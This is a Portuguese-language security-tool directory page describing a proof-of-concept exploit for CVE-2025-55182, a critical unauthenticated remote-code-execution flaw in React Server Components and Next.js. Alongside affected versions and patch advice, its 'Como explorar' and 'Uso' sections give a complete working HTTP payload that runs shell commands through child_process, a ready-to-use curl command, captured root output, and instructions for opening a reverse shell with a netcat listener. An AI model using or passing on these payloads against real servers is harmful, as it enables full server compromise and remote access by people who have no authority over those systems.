Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-55182 — Prova de conceito de exploit para CVE-2025-55182: RCE não autenticado em React Server Components via desserialização insegura, permitindo execução arbitrária de comandos e reverse shells em endpoints RSC/Next.js vulneráveis. | Kitploit
Ferramentas/GitHubGitHub/0xblackash/cve-2025-55182
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHub0xblackash/cve-2025-55182

CVE-2025-55182

Prova de conceito de exploit para CVE-2025-55182: RCE não autenticado em React Server Components via desserialização insegura, permitindo execução arbitrária de comandos e reverse shells em endpoints RSC/Next.js vulneráveis.

Ver Repositório
1há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

🚨 CVE-2025-55182 — React2Shell

hq720

Severity CVSS Type Status

CVE-2025-55182 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) que afeta os Componentes do Servidor React (RSC).


📌 Visão Geral

Esta vulnerabilidade permite que atacantes não autenticados executem código arbitrário em servidores vulneráveis.

O problema tem origem na desserialização insegura em endpoints de Server Function dos Componentes do Servidor React. A validação inadequada permite que requisições especialmente criadas executem payloads maliciosos.


🧨 Impacto

  • 🌍 Explorável pela rede
  • 🔓 Nenhuma autenticação necessária
  • ⚡ Baixa complexidade de ataque
  • 💥 Comprometimento total do servidor possível
  • 📈 Pontuação CVSS: 10.0 (Severidade Máxima)

Como os frameworks baseados em React são amplamente implantados, a superfície de ataque é extremamente grande.


📦 Pacotes Afetados

Versões vulneráveis incluem:

react-server-dom-webpack   19.0.0 – 19.2.0
react-server-dom-parcel    19.0.0 – 19.2.0
react-server-dom-turbopack 19.0.0 – 19.2.0

Frameworks construídos sobre esses pacotes (por exemplo, aplicações Next.js usando versões vulneráveis) também podem ser afetados.


🔎 Causa Raiz Técnica

A falha é causada por:

  • Manipulação insegura de entrada serializada
  • Desserialização no servidor ocorrendo antes da validação rigorosa
  • Falta de proteção adequada do endpoint

Isso permite que atacantes criem payloads maliciosos que são executados no servidor.


🛠 Remediação

✅ Ações Imediatas

  • Atualize para versões corrigidas do React (19.2.1 ou posteriores)
  • Reconstrua e reimplante as aplicações
  • Audite endpoints RSC expostos
  • Monitore logs em busca de requisições POST suspeitas

🧪 Dicas de Detecção

Procure por:

  • Requisições POST inesperadas para endpoints RSC
  • Payloads serializados suspeitos
  • Execução incomum de comandos no servidor

📚 Resumo

CategoriaValor
VulnerabilidadeExecução Remota de Código
Autenticação Necessária❌ Não
Vetor de Ataque🌐 Rede
Severidade🔴 Crítica
Explorado na Natureza⚠️ Sim

Como explorar

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Retornará:

HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195

0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

CVE-2025-55182 2 CVE-2025-55182 3 CVE-2025-55182 4

Uso

┌──(kali㉿kali)-[~/Downloads]
└─$ curl -i -X POST http://10.48.133.212:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-H "Next-Action: x" \
-H "Next-Router-State-Tree: b5dce965" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'<COMMAND>\').toString().trim();;;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--'
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Sat, 28 Feb 2026 10:19:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

0:{"a":"$@1","f":"","b":"3WpzTMYEK9QGOeqIBQxrR"}
1:E{"digest":"287088506"}
CVE-2025-55182 5 CVE-2025-55182 6
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "whoami"
  • Saída: ubuntu (ou similar).
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "id"

Para shell reverso:

  • Listener: nc -lvnp 4444
  • Execute: sudo python3 react2shell_poc.py http://10.48.133.212:3000 --rev-shell --rev-ip YOUR_IP --rev-port 4444
  • Ele deve conectar de volta; a resposta mostrará 'shell_started' no digest.

⚠️ Nota Final

Se sua aplicação usa Componentes do Servidor React, corrija imediatamente. Atrasos aumentam significativamente o risco de exposição.


Baixar ferramenta